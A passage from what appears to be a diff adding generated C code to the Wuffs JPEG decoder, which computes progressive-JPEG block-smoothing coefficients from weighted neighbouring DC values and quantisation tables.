wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][3u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][10u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][10u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][10u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][17u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][17u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][17u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][24u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][24u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][24u] = ((uint16_t)(v_scratch)); ++ } ++ } else { ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * 